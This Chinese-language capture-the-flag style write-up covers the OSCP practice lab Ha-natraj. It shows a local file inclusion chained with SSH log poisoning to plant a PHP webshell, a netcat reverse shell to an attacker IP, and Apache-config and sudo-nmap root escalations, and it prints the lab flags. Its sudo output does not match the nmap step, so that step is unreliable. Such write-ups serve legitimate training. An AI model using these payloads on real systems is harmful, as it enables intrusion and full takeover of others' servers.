OSCP系列靶场-Esay-Ha-natraj
字数 1038 2025-08-10 16:34:28

OSCP靶场实战:Ha-natraj渗透测试报告

1. 靶场概述

Ha-natraj是一个难度为"Easy"的OSCP练习靶场,主要考察以下技术点:

  • 文件包含漏洞利用
  • 通过SSH日志注入获取Webshell
  • Apache服务配置不当导致的权限提升
  • Nmap的SUDO权限滥用提权

2. 信息收集阶段

2.1 端口扫描

使用Nmap进行端口扫描:

sudo nmap --min-rate 10000 -p- 192.168.179.80
sudo nmap -sT -sV -O -sC -p22,80 192.168.179.80

发现开放端口:

  • 22/tcp - OpenSSH 7.6p1 Ubuntu
  • 80/tcp - Apache httpd 2.4.29

2.2 Web服务枚举

目录扫描

使用dirsearch进行目录扫描:

dirsearch -u http://192.168.179.80:80 -x 302,403

发现关键目录:

  • /images/ - 存在目录遍历漏洞
  • /console/ - 包含file.php文件

文件参数爆破

使用ffuf爆破参数:

ffuf -u 'http://192.168.179.80:80/console/file.php?FUZZ=/etc/passwd' \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fs 0

发现file参数存在文件包含漏洞。

3. 漏洞利用阶段

3.1 文件包含漏洞验证

通过包含/etc/passwd验证漏洞:

curl http://192.168.179.80/console/file.php?file=/etc/passwd

发现用户mahakal,但无法读取/etc/shadow文件。

3.2 通过SSH日志注入获取Webshell

  1. 首先确认漏洞类型为文件包含而非文件读取
  2. 通过SSH登录注入PHP代码到auth.log:
ssh '<?php system($_GET[YaoRuo]); ?>'@192.168.179.80 -p22
  1. 通过文件包含执行命令:
curl "http://192.168.179.80/console/file.php?file=/var/log/auth.log&YaoRuo=whoami"

3.3 获取反弹Shell

  1. 攻击机开启监听:
sudo nc -lvnp 6666
  1. 注入PHP反弹Shell代码:
ssh '<?php system("nc -e /bin/bash 192.168.45.172 6666"); ?>'@192.168.179.80 -p22
  1. 触发执行:
curl http://192.168.179.80/console/file.php?file=/var/log/auth.log

3.4 获取交互式Shell

python3 -c "import pty;pty.spawn('/bin/bash');"

4. 权限提升阶段

4.1 枚举SUDO权限

sudo -l

输出:

User www-data may run the following commands on ubuntu:
    (ALL) NOPASSWD: /bin/systemctl start apache2
    (ALL) NOPASSWD: /bin/systemctl stop apache2
    (ALL) NOPASSWD: /bin/systemctl restart apache2

4.2 通过Apache配置提权

  1. 检查Apache配置文件:
cat /etc/apache2/apache2.conf
  1. 修改配置将运行用户改为root:
sed -i 's/User ${APACHE_RUN_USER}/User root/g' /etc/apache2/apache2.conf
sed -i 's/Group ${APACHE_RUN_GROUP}/Group root/g' /etc/apache2/apache2.conf
  1. 重启Apache服务:
sudo /bin/systemctl restart apache2

4.3 通过Nmap提权

发现nmap有SUDO权限:

TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF

5. 获取Flag

  1. 用户Flag:
cat /var/www/local.txt

输出:90c36356bd71bb3500456a09d600e7fc

  1. Root Flag:
cat /root/proof.txt

输出:63b489d7c2affe8892089d178b1900f7

6. 总结与思考

  1. 关键学习点

    • 文件包含漏洞的多种利用方式
    • 通过日志注入获取Webshell的技巧
    • 服务配置不当导致的权限提升
    • SUDO权限滥用的提权方法
  2. 遇到的问题与解决方案

    • 直接PHP反弹Shell不稳定 → 改用参数注入方式
    • Apache配置修改后服务崩溃 → 确保配置语法正确并等待服务完全启动
    • 直接提权到root失败 → 先提权到其他用户再二次提权
  3. 改进建议

    • 修改配置文件时保留备份
    • 使用更稳定的反弹Shell方法
    • 充分测试每种提权方法的可行性
OSCP靶场实战:Ha-natraj渗透测试报告 1. 靶场概述 Ha-natraj是一个难度为"Easy"的OSCP练习靶场,主要考察以下技术点: 文件包含漏洞利用 通过SSH日志注入获取Webshell Apache服务配置不当导致的权限提升 Nmap的SUDO权限滥用提权 2. 信息收集阶段 2.1 端口扫描 使用Nmap进行端口扫描: 发现开放端口: 22/tcp - OpenSSH 7.6p1 Ubuntu 80/tcp - Apache httpd 2.4.29 2.2 Web服务枚举 目录扫描 使用dirsearch进行目录扫描: 发现关键目录: /images/ - 存在目录遍历漏洞 /console/ - 包含file.php文件 文件参数爆破 使用ffuf爆破参数: 发现 file 参数存在文件包含漏洞。 3. 漏洞利用阶段 3.1 文件包含漏洞验证 通过包含/etc/passwd验证漏洞: 发现用户 mahakal ,但无法读取/etc/shadow文件。 3.2 通过SSH日志注入获取Webshell 首先确认漏洞类型为文件包含而非文件读取 通过SSH登录注入PHP代码到auth.log: 通过文件包含执行命令: 3.3 获取反弹Shell 攻击机开启监听: 注入PHP反弹Shell代码: 触发执行: 3.4 获取交互式Shell 4. 权限提升阶段 4.1 枚举SUDO权限 输出: 4.2 通过Apache配置提权 检查Apache配置文件: 修改配置将运行用户改为root: 重启Apache服务: 4.3 通过Nmap提权 发现nmap有SUDO权限: 5. 获取Flag 用户Flag: 输出: 90c36356bd71bb3500456a09d600e7fc Root Flag: 输出: 63b489d7c2affe8892089d178b1900f7 6. 总结与思考 关键学习点 : 文件包含漏洞的多种利用方式 通过日志注入获取Webshell的技巧 服务配置不当导致的权限提升 SUDO权限滥用的提权方法 遇到的问题与解决方案 : 直接PHP反弹Shell不稳定 → 改用参数注入方式 Apache配置修改后服务崩溃 → 确保配置语法正确并等待服务完全启动 直接提权到root失败 → 先提权到其他用户再二次提权 改进建议 : 修改配置文件时保留备份 使用更稳定的反弹Shell方法 充分测试每种提权方法的可行性